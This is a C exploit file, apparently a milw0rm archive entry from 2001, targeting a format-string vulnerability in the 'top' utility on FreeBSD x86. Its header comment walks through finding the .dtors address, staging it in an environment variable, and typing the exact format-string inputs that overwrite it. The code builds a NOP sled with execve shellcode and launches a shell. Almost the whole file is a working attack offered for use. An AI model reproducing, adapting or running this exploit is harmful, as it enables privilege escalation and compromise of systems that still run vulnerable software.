477bcbdcc0
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78 lines
1.9 KiB
C
Executable file
78 lines
1.9 KiB
C
Executable file
/*
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* freebsd x86 top exploit
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* affected under top-3.5beta9 ( including this version )
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*
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* 1. get the address of .dtors from /usr/bin/top using objdump ,
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*
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* 'objdump -s -j .dtors /usr/bin/top'
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*
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* 2. divide it into four parts, and set it up into an environment variable like "XSEO="
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*
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* 3. run top, then find "your parted addresses from "kill" or "renice" command like this
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*
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* 'k %200$p' or 'r 2000 %200$p'
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*
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* 4. do exploit !
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*
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* 'k %190u%230$hn' <== 0xbf (4)
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* 'k %190u%229$hn' <== 0xbf (3)
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* 'k %214u%228$hn' <== 0xd7 (2)
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* 'k %118u%227$hn' <== 0x77 (1)
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*
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* truefinder , seo@igrus.inha.ac.kr
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* thx mat, labman, zen-parse
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#define NOP 0x90
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#define BUFSIZE 2048
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char fmt[]=
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"XSEO="
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/* you would meet above things from 'k %200$p', it's confirming strings*/
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"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
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/* .dtors's address in BSD*/
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"\x08\xff\x04\x08"
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"\x09\xff\x04\x08"
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"\x0a\xff\x04\x08"
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"\x0b\xff\x04\x08"
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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"AAAAAAAAAAAAAAAAAAAAAAAAAAA"
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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"AAAAAAAAAAAAAAAAAAAAAAAAAA"
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
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/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
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char sc[]=
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"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
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"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
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"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
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int
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main(void)
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{
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char scbuf[BUFSIZE];
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char *scp;
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scp = (char*)scbuf;
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memset( scbuf, NOP, BUFSIZE );
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scp += ( BUFSIZE - strlen(sc) - 1);
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memcpy( scp, sc ,strlen(sc));
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scbuf[ BUFSIZE - 1] = '\0';
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memcpy( scbuf, "EGG=", 4);
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putenv(fmt);
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putenv(scbuf);
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system("/bin/bash");
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}
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// milw0rm.com [2001-07-23]
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